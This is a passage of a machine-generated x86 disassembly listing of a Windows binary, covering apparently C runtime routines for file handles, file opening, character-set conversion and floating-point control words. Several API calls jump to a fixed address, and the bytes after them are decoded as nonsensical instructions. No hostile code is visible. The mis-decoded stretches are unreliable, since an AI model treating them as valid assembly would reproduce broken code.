		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D1B6:				; CODE XREF: sub_41D18F+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	ds:dword_437F6C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	ds:dword_469528
		call	ds:dword_421138	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41D1E8
		cmp	[ebp+arg_0], 0
		jz	short loc_41D1F5


loc_41D1E8:				; CODE XREF: sub_41D18F+1Ej
					; sub_41D18F+51j
		mov	ds:dword_469484, 2Ah
		or	eax, 0FFFFFFFFh


loc_41D1F5:				; CODE XREF: sub_41D18F+57j
		pop	ebp
		retn
sub_41D18F	endp

; ---------------------------------------------------------------------------


loc_41D1F7:				; CODE XREF: sub_418556+5Ep
					; seg000:0041C299p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421B80
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, ds:dword_469648
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41D266
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_421870
		push	esi
		call	ds:dword_421028	; GetStringTypeW
		test	eax, eax
		jz	short loc_41D244
		mov	eax, esi
		jmp	short loc_41D261
; ---------------------------------------------------------------------------


loc_41D244:				; CODE XREF: seg000:0041D23Ej
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		push	offset dword_438FC4
		push	esi
		push	ebx
		call	near ptr 0A80000h
		dec	edx
		test	eax, eax
		jz	loc_41D32C
		push	2
		pop	eax


loc_41D261:				; CODE XREF: seg000:0041D242j
		mov	ds:dword_469648, eax


loc_41D266:				; CODE XREF: seg000:0041D226j
		cmp	eax, 2
		jnz	short loc_41D28F
		mov	eax, [ebp+1Ch]
		cmp	eax, ebx
		jnz	short loc_41D277
		mov	eax, ds:dword_469518


loc_41D277:				; CODE XREF: seg000:0041D270j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	near ptr 0A80000h
		mov	bh, 0E9h
		lahf
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_41D28F:				; CODE XREF: seg000:0041D269j
		cmp	eax, 1
		jnz	loc_41D32C
		cmp	[ebp+18h], ebx
		jnz	short loc_41D2A5
		mov	eax, ds:dword_469528
		mov	[ebp+18h], eax


loc_41D2A5:				; CODE XREF: seg000:0041D29Bj
		push	ebx
		push	ebx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+18h]
		call	ds:dword_421064	; MultiByteToWideChar
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jz	short loc_41D32C
		mov	[ebp-4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_415D70
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[ebp-24h], esi
		push	edi
		push	ebx
		push	esi
		call	sub_415570
		add	esp, 0Ch
		jmp	short loc_41D2FB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		xor	esi, esi


loc_41D2FB:				; CODE XREF: seg000:0041D2EEj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41D32C
		push	dword ptr [ebp-20h]
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	1
		push	dword ptr [ebp+18h]
		call	ds:dword_421064	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41D32C
		push	dword ptr [ebp+14h]
		push	eax
		push	esi
		push	dword ptr [ebp+8]
		call	ds:dword_421028	; GetStringTypeW
		jmp	short loc_41D32E
; ---------------------------------------------------------------------------


loc_41D32C:				; CODE XREF: seg000:0041D258j
					; seg000:0041D292j ...
		xor	eax, eax


loc_41D32E:				; CODE XREF: seg000:0041D32Aj
		lea	esp, [ebp-34h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41D340	proc near		; CODE XREF: sub_41D55A:loc_41D6D2p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_46A7A0


loc_41D34F:				; CODE XREF: sub_41D340+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41D38C
		lea	edx, [eax+100h]


loc_41D35B:				; CODE XREF: sub_41D340+28j
		cmp	eax, edx
		jnb	short loc_41D37B
		test	byte ptr [eax+4], 1
		jz	short loc_41D36A
		add	eax, 8
		jmp	short loc_41D35B
; ---------------------------------------------------------------------------


loc_41D36A:				; CODE XREF: sub_41D340+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41D3CF


loc_41D37B:				; CODE XREF: sub_41D340+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_46A8A0
		jl	short loc_41D34F
		jmp	short loc_41D3CF
; ---------------------------------------------------------------------------


loc_41D38C:				; CODE XREF: sub_41D340+13j
		mov	esi, 100h
		push	esi
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		jz	short loc_41D3CF
		add	ds:dword_46A8A0, 20h
		lea	ecx, ds:46A7A0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41D3B2:				; CODE XREF: sub_41D340+88j
		cmp	eax, edx
		jnb	short loc_41D3CA
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41D3B2
; ---------------------------------------------------------------------------


loc_41D3CA:				; CODE XREF: sub_41D340+74j
		shl	edi, 5
		mov	ebx, edi


loc_41D3CF:				; CODE XREF: sub_41D340+39j
					; sub_41D340+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41D340	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3D5	proc near		; CODE XREF: sub_41D55A+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_46A8A0
		push	edi
		jnb	short loc_41D435
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46A7A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41D435
		cmp	ds:dword_437D54, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short near ptr loc_41D42A+1
		sub	eax, 0
		jz	short loc_41D422
		dec	eax
		jz	short loc_41D41D
		dec	eax
		jnz	short near ptr loc_41D42A+1
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41D425
; ---------------------------------------------------------------------------


loc_41D41D:				; CODE XREF: sub_41D3D5+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41D425
; ---------------------------------------------------------------------------


loc_41D422:				; CODE XREF: sub_41D3D5+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41D425:				; CODE XREF: sub_41D3D5+46j
					; sub_41D3D5+4Bj
		call	near ptr 0A80000h


loc_41D42A:				; CODE XREF: sub_41D3D5+36j
					; sub_41D3D5+41j
		cmp	eax, 1C89078Bh
		xor	[ebx], dh
		rcr	byte ptr [ebx-15h], 14h


loc_41D435:				; CODE XREF: sub_41D3D5+Cj
					; sub_41D3D5+28j
		and	ds:dword_469488, 0
		mov	ds:dword_469484, 9
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		retn
sub_41D3D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D44C	proc near		; CODE XREF: sub_4185CB+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, ds:dword_46A8A0
		push	edi
		jnb	short loc_41D4AF
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:46A7A0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41D4AF
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41D4AF
		cmp	ds:dword_437D54, 1
		jnz	short near ptr loc_41D4A4+1
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41D49C
		dec	ecx
		jz	short loc_41D497
		dec	ecx
		jnz	short near ptr loc_41D4A4+1
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41D49F
; ---------------------------------------------------------------------------


loc_41D497:				; CODE XREF: sub_41D44C+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41D49F
; ---------------------------------------------------------------------------


loc_41D49C:				; CODE XREF: sub_41D44C+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41D49F:				; CODE XREF: sub_41D44C+49j
					; sub_41D44C+4Ej
		call	near ptr 0A80000h


loc_41D4A4:				; CODE XREF: sub_41D44C+38j
					; sub_41D44C+44j
		mov	[ebx+300C8307h], cl
		push	dword ptr [ebx]
		shr	bl, 14h


loc_41D4AF:				; CODE XREF: sub_41D44C+Cj
					; sub_41D44C+2Aj ...
		and	ds:dword_469488, 0
		mov	ds:dword_469484, 9 ; CODE XREF:	sub_41D503+31j
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		retn
sub_41D44C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D4C6	proc near		; CODE XREF: sub_4185CB+32p
					; sub_4185CB+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_46A8A0
		jnb	short loc_41D4EE
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_46A7A0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41D4EE
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41D4EE:				; CODE XREF: sub_41D4C6+Aj
					; sub_41D4C6+23j
		and	ds:dword_469488, 0
		mov	ds:dword_469484, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41D4C6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D503	proc near		; CODE XREF: sub_4186A9+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_46A8A0
		jnb	short loc_41D54C
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, ds:dword_46A7A0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41D54C
		push	eax
		call	sub_41D4C6
		pop	ecx
		push	eax
		call	near ptr 0A80000h
		jl	short near ptr loc_41D4B6+5
		sal	byte ptr [ebp+8], 0FFh
		adc	eax, offset dword_421088
		jmp	short loc_41D543
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_41D543:				; CODE XREF: sub_41D503+3Cj
		test	eax, eax
		jz	short locret_41D559
		mov	ds:dword_469488, eax


loc_41D54C:				; CODE XREF: sub_41D503+Aj
					; sub_41D503+22j
		mov	ds:dword_469484, 9
		or	eax, 0FFFFFFFFh

locret_41D559:				; CODE XREF: sub_41D503+42j
		retn
sub_41D503	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D55A	proc near		; CODE XREF: sub_418880+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41D580
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41D58B
; ---------------------------------------------------------------------------


loc_41D580:				; CODE XREF: sub_41D55A+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41D58B:				; CODE XREF: sub_41D55A+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41D5A5
		test	ch, 40h
		jnz	short loc_41D5A1
		cmp	ds:dword_469750, eax
		jz	short loc_41D5A5


loc_41D5A1:				; CODE XREF: sub_41D55A+3Dj
		or	[ebp+var_1], 80h


loc_41D5A5:				; CODE XREF: sub_41D55A+38j
					; sub_41D55A+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41D5DD
		dec	eax
		jz	short loc_41D5D4
		dec	eax
		jz	short loc_41D5CB


loc_41D5B6:				; CODE XREF: sub_41D55A+9Fj
					; sub_41D55A+E8j ...
		mov	ds:dword_469484, 16h
		mov	ds:dword_469488, ebx
		jmp	loc_41D7F0
; ---------------------------------------------------------------------------


loc_41D5CB:				; CODE XREF: sub_41D55A+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41D5E4
; ---------------------------------------------------------------------------


loc_41D5D4:				; CODE XREF: sub_41D55A+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41D5E4
; ---------------------------------------------------------------------------


loc_41D5DD:				; CODE XREF: sub_41D55A+54j
		mov	[ebp+var_C], 80000000h


loc_41D5E4:				; CODE XREF: sub_41D55A+78j
					; sub_41D55A+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41D612
		cmp	eax, 20h
		jz	short loc_41D609
		cmp	eax, 30h
		jz	short loc_41D600
		cmp	eax, 40h
		jnz	short loc_41D5B6
		mov	[ebp+var_10], esi
		jmp	short loc_41D615
; ---------------------------------------------------------------------------


loc_41D600:				; CODE XREF: sub_41D55A+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41D615
; ---------------------------------------------------------------------------


loc_41D609:				; CODE XREF: sub_41D55A+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41D615
; ---------------------------------------------------------------------------


loc_41D612:				; CODE XREF: sub_41D55A+90j
		mov	[ebp+var_10], ebx


loc_41D615:				; CODE XREF: sub_41D55A+A4j
					; sub_41D55A+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41D65F
		jz	short loc_41D65A
		cmp	ecx, ebx
		jz	short loc_41D65A
		cmp	ecx, edi
		jz	short loc_41D651
		cmp	ecx, 200h
		jz	short loc_41D678
		cmp	ecx, 300h
		jnz	loc_41D5B6
		mov	[ebp+var_8], 2
		jmp	short loc_41D688
; ---------------------------------------------------------------------------


loc_41D651:				; CODE XREF: sub_41D55A+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41D688
; ---------------------------------------------------------------------------


loc_41D65A:				; CODE XREF: sub_41D55A+D0j
					; sub_41D55A+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41D688
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D55A+CEj
		cmp	ecx, 500h
		jz	short loc_41D681
		cmp	ecx, 600h
		jz	short loc_41D678
		cmp	ecx, edx
		jz	short loc_41D681
		jmp	loc_41D5B6
; ---------------------------------------------------------------------------


loc_41D678:				; CODE XREF: sub_41D55A+E0j
					; sub_41D55A+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41D688
; ---------------------------------------------------------------------------


loc_41D681:				; CODE XREF: sub_41D55A+10Bj
					; sub_41D55A+117j
		mov	[ebp+var_8], 1


loc_41D688:				; CODE XREF: sub_41D55A+F5j
					; sub_41D55A+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41D6A7
		mov	ecx, ds:dword_46948C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41D6A7
		push	1
		pop	esi


loc_41D6A7:				; CODE XREF: sub_41D55A+138j
					; sub_41D55A+148j
		test	al, 40h
		jz	short loc_41D6B5
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41D6B5:				; CODE XREF: sub_41D55A+14Fj
		test	ah, 10h
		jz	short loc_41D6BC
		or	esi, edi


loc_41D6BC:				; CODE XREF: sub_41D55A+15Ej
		test	al, 20h
		jz	short loc_41D6C8
		or	esi, 8000000h
		jmp	short loc_41D6D2
; ---------------------------------------------------------------------------


loc_41D6C8:				; CODE XREF: sub_41D55A+164j
		test	al, 10h
		jz	short loc_41D6D2
		or	esi, 10000000h


loc_41D6D2:				; CODE XREF: sub_41D55A+16Cj
					; sub_41D55A+170j
		call	sub_41D340
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41D6F3
		and	ds:dword_469488, 0
		mov	ds:dword_469484, 18h
		jmp	short loc_41D731
; ---------------------------------------------------------------------------


loc_41D6F3:				; CODE XREF: sub_41D55A+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	ds:dword_421078	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41D724
		push	esi
		call	near ptr 0A80000h
		push	es
		test	eax, eax
		jnz	short loc_41D738
		push	esi
		call	ds:dword_42106C	; CloseHandle


loc_41D724:				; CODE XREF: sub_41D55A+1B6j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		call	sub_41C5D7
		pop	ecx


loc_41D731:				; CODE XREF: sub_41D55A+197j
		mov	eax, edi
		jmp	loc_41D80E
; ---------------------------------------------------------------------------


loc_41D738:				; CODE XREF: sub_41D55A+1C1j
		cmp	eax, 2
		jnz	short loc_41D743
		or	[ebp+var_1], 40h
		jmp	short loc_41D74C
; ---------------------------------------------------------------------------


loc_41D743:				; CODE XREF: sub_41D55A+1E1j
		cmp	eax, 3
		jnz	short loc_41D74C
		or	[ebp+var_1], 8


loc_41D74C:				; CODE XREF: sub_41D55A+1E7j
					; sub_41D55A+1ECj
		push	esi
		push	ebx
		call	sub_41D3D5
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:46A7A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41D7F5
		test	al, 80h
		jz	short loc_41D7F5
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41D7F5
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41D7AA
		cmp	ds:dword_469488, 83h
		jz	short loc_41D7F5
		jmp	short loc_41D7E9
; ---------------------------------------------------------------------------


loc_41D7AA:				; CODE XREF: sub_41D55A+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41B989
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D7D7
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41D7D7
		push	[ebp+var_10]
		push	ebx
		call	sub_41E84C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D7E9


loc_41D7D7:				; CODE XREF: sub_41D55A+265j
					; sub_41D55A+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41BB7F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D7F5


loc_41D7E9:				; CODE XREF: sub_41D55A+24Ej
					; sub_41D55A+27Bj
		push	ebx
		call	sub_4185CB
		pop	ecx


loc_41D7F0:				; CODE XREF: sub_41D55A+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D80E
; ---------------------------------------------------------------------------


loc_41D7F5:				; CODE XREF: sub_41D55A+221j
					; sub_41D55A+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41D80C
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41D80C
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41D80C:				; CODE XREF: sub_41D55A+29Fj
					; sub_41D55A+2A5j
		mov	eax, ebx


loc_41D80E:				; CODE XREF: sub_41D55A+1D9j
					; sub_41D55A+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D55A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D813	proc near		; CODE XREF: sub_419BB3+52p
		xor	eax, eax
		retn
sub_41D813	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D816	proc near		; CODE XREF: sub_41D84B+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41D861
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41D8F3
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41D816	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D84B	proc near		; CODE XREF: sub_419E9F+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41D816
		pop	ecx
		pop	ecx
		retn
sub_41D84B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D861	proc near		; CODE XREF: sub_41D816+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41D872
		push	10h
		pop	eax


loc_41D872:				; CODE XREF: sub_41D861+Cj
		test	bl, 4
		jz	short loc_41D879
		or	al, 8


loc_41D879:				; CODE XREF: sub_41D861+14j
		test	bl, 8
		jz	short loc_41D880
		or	al, 4


loc_41D880:				; CODE XREF: sub_41D861+1Bj
		test	bl, 10h
		jz	short loc_41D887
		or	al, 2


loc_41D887:				; CODE XREF: sub_41D861+22j
		test	bl, 20h
		jz	short loc_41D88E
		or	al, 1


loc_41D88E:				; CODE XREF: sub_41D861+29j
		test	bl, 2
		jz	short loc_41D898
		or	eax, 80000h


loc_41D898:				; CODE XREF: sub_41D861+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41D8D0
		cmp	edx, 400h
		jz	short loc_41D8CD
		cmp	edx, 800h
		jz	short loc_41D8C9
		cmp	edx, esi
		jnz	short loc_41D8D0
		or	eax, edi
		jmp	short loc_41D8D0
; ---------------------------------------------------------------------------


loc_41D8C9:				; CODE XREF: sub_41D861+5Ej
		or	eax, ebp
		jmp	short loc_41D8D0
; ---------------------------------------------------------------------------


loc_41D8CD:				; CODE XREF: sub_41D861+56j
		or	ah, 1


loc_41D8D0:				; CODE XREF: sub_41D861+4Ej
					; sub_41D861+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41D8E0
		cmp	ecx, ebp
		jnz	short loc_41D8E5
		or	eax, 10000h
		jmp	short loc_41D8E5
; ---------------------------------------------------------------------------


loc_41D8E0:				; CODE XREF: sub_41D861+72j
		or	eax, 20000h


loc_41D8E5:				; CODE XREF: sub_41D861+76j
					; sub_41D861+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_41D8F2
		or	eax, 40000h

locret_41D8F2:				; CODE XREF: sub_41D861+8Aj
		retn
sub_41D861	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D8F3	proc near		; CODE XREF: sub_41D816+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_41D903
		push	1
		pop	eax


loc_41D903:				; CODE XREF: sub_41D8F3+Bj
		test	bl, 8
		jz	short loc_41D90A
		or	al, 4


loc_41D90A:				; CODE XREF: sub_41D8F3+13j
		test	bl, 4
		jz	short loc_41D911
		or	al, 8


loc_41D911:				; CODE XREF: sub_41D8F3+1Aj
		test	bl, 2
		jz	short loc_41D918
		or	al, 10h


loc_41D918:				; CODE XREF: sub_41D8F3+21j
		test	bl, 1
		jz	short loc_41D91F
		or	al, 20h


loc_41D91F:				; CODE XREF: sub_41D8F3+28j
		test	ebx, 80000h
		jz	short loc_41D929
		or	al, 2


loc_41D929:				; CODE XREF: sub_41D8F3+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_41D956
		cmp	ecx, 100h
		jz	short loc_41D953
		cmp	ecx, esi
		jz	short loc_41D94E
		cmp	ecx, edx
		jnz	short loc_41D956
		or	ah, 0Ch
		jmp	short loc_41D956
; ---------------------------------------------------------------------------


loc_41D94E:				; CODE XREF: sub_41D8F3+50j
		or	ah, 8
		jmp	short loc_41D956
; ---------------------------------------------------------------------------


loc_41D953:				; CODE XREF: sub_41D8F3+4Cj
		or	ah, 4


loc_41D956:				; CODE XREF: sub_41D8F3+44j
					; sub_41D8F3+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_41D96C
		cmp	ecx, 10000h
		jnz	short loc_41D96E
		or	eax, esi
		jmp	short loc_41D96E
; ---------------------------------------------------------------------------


loc_41D96C:				; CODE XREF: sub_41D8F3+6Bj
		or	eax, edx


loc_41D96E:				; CODE XREF: sub_41D8F3+73j
					; sub_41D8F3+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_41D97B
		or	ah, 10h

locret_41D97B:				; CODE XREF: sub_41D8F3+83j
		retn
sub_41D8F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D97C	proc near		; CODE XREF: sub_41DA1B+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_41D9C1
		inc	esi
		cmp	esi, 3
		jge	short loc_41D9BC
		lea	eax, [eax+esi*4]


loc_41D9AE:				; CODE XREF: sub_41D97C+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_41D9C1
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_41D9AE


loc_41D9BC:				; CODE XREF: sub_41D97C+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41D9C1:				; CODE XREF: sub_41D97C+27j
					; sub_41D97C+35j
		xor	eax, eax
		pop	esi
		retn
sub_41D97C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D9C5	proc near		; CODE XREF: sub_41DA1B+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_41E992
		add	esp, 0Ch
		dec	esi
		js	short loc_41DA17
		lea	edi, [ebx+esi*4]


loc_41D9FE:				; CODE XREF: sub_41D9C5+50j
		test	eax, eax
		jz	short loc_41DA17
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41E992
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41D9FE


loc_41DA17:				; CODE XREF: sub_41D9C5+34j
					; sub_41D9C5+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D9C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA1B	proc near		; CODE XREF: sub_41DB76+81p
					; sub_41DB76+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
